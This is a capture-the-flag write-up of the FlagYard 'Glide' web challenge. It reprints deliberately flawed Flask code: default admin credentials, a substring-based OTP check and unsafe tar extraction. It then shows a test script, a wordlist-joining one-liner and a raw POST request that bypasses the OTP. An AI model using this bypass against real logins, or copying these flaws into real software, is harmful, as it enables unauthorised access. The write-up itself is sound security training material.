- Published on
FlagYard - Glide - Web
- Authors
- Name
- Asif Masood
- @A51F221B
Solution
Here is the source code of the challenge :
from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os
import random
import string
import time
import tarfile
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.secret_key = "secretkeyplaceheolder"
def generate_otp():
otp = ''.join(random.choices(string.digits, k=4))
return otp
if not os.path.exists('uploads'):
os.makedirs('uploads')
@app.route('/', methods=['GET', 'POST'])
def main():
if 'username' not in session or 'otp_validated' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
uploaded_file = request.files['file']
if uploaded_file.filename != '':
filename = secure_filename(uploaded_file.filename)
file_path = os.path.join('uploads', filename)
uploaded_file.save(file_path)
session['file_path'] = file_path
return redirect(url_for('extract'))
else:
return render_template('index.html', message='No file selected')
return render_template('index.html', message='')
@app.route('/extract')
def extract():
if 'file_path' not in session:
return redirect(url_for('login'))
file_path = session['file_path']
output_dir = 'uploads'
if not tarfile.is_tarfile(file_path):
os.remove(file_path)
return render_template('extract.html', message='The uploaded file is not a valid tar archive')
with tarfile.open(file_path, 'r') as tar_ref:
tar_ref.extractall(output_dir)
os.remove(file_path)
return render_template('extract.html', files=os.listdir(output_dir))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin' and password == 'admin':
session['username'] = username
return redirect(url_for('otp'))
else:
return render_template('login.html', message='Invalid username or password')
return render_template('login.html', message='')
@app.route('/otp', methods=['GET', 'POST'])
def otp():
if 'username' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
otp,_otp = generate_otp(),request.form['otp']
if otp in _otp:
session['otp_validated'] = True
return redirect(url_for('main'))
else:
time.sleep(10) # please don't bruteforce my OTP
return render_template('otp.html', message='Invalid OTP')
return render_template('otp.html', message='')
@app.route('/logout')
def logout():
session.pop('username', None)
session.pop('otp_validated', None)
session.pop('file_path', None)
return redirect(url_for('login'))
@app.route('/uploads/<path:filename>')
def uploaded_file(filename):
uploads_path = os.path.join(app.root_path, 'uploads')
return send_from_directory(uploads_path, filename)
if __name__ == '__main__':
app.run(debug=True)
From the code we can see that there is a login page, which is using admin:admin
as default credentials to login.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin' and password == 'admin':
session['username'] = username
return redirect(url_for('otp'))
else:
return render_template('login.html', message='Invalid username or password')
return render_template('login.html', message='')
But the problem is that there is a otp. We have to find a way to bypass it.
@app.route('/otp', methods=['GET', 'POST'])
def otp():
if 'username' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
otp,_otp = generate_otp(),request.form['otp']
if otp in _otp:
session['otp_validated'] = True
return redirect(url_for('main'))
else:
time.sleep(10) # please don't bruteforce my OTP
return render_template('otp.html', message='Invalid OTP')
return render_template('otp.html', message='')
note the logic for otp
validation :
if otp in _otp:
Here the validation has a flaw. It will validate an otp if its a part of a big string of numbers. For example suppose if otp was 4689 , if the user enters 153424689 the system will still authenticate the user as the otp is still a part of the string entered by the user. To confirm our suspision we write our own script :
import random
import string
def generate_otp():
otp = ''.join(random.choices(string.digits, k=4))
return otp
otp = generate_otp()
print(otp)
_otp = input("Enter your otp: ")
if otp in _otp:
print("Validated")
else:
pass
When we run the code :
(env) ╭─asif@Asifs-Air ~/Downloads/glide_handout/test
╰─$ python3 exploit.py
7614
Enter your otp: xx7614xx
Validated
This means that we can send one big string that contains a lot of combinations to bruteforce the otp bypassing the sleep(10)
statement.
We download a 4 digit otp wordlist from https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/4-digits-0000-9999.txt
We write the code to make it into one big string.
with open('numbers.txt') as f: result = ''.join(line.strip() for line in f)
print(result)
We copy the result and send it in POST
request:
POST /otp HTTP/1.1
Host: a6603d458ac3b64b4b3cf.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 40004
Origin: null
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1731488958.51.1.1731488961.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1953399384.1731428462; session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ZzR-rQ.dOvhifz9k4-FJyrPvgB-YQ6BiQE
Upgrade-Insecure-Requests: 1
Priority: u=0, i
otp=000000010002000300040005000600070008000900100011001200130014001500160017001800190020002100220023002400250026002700280029003000310032003300340035003600370038
We successfully login.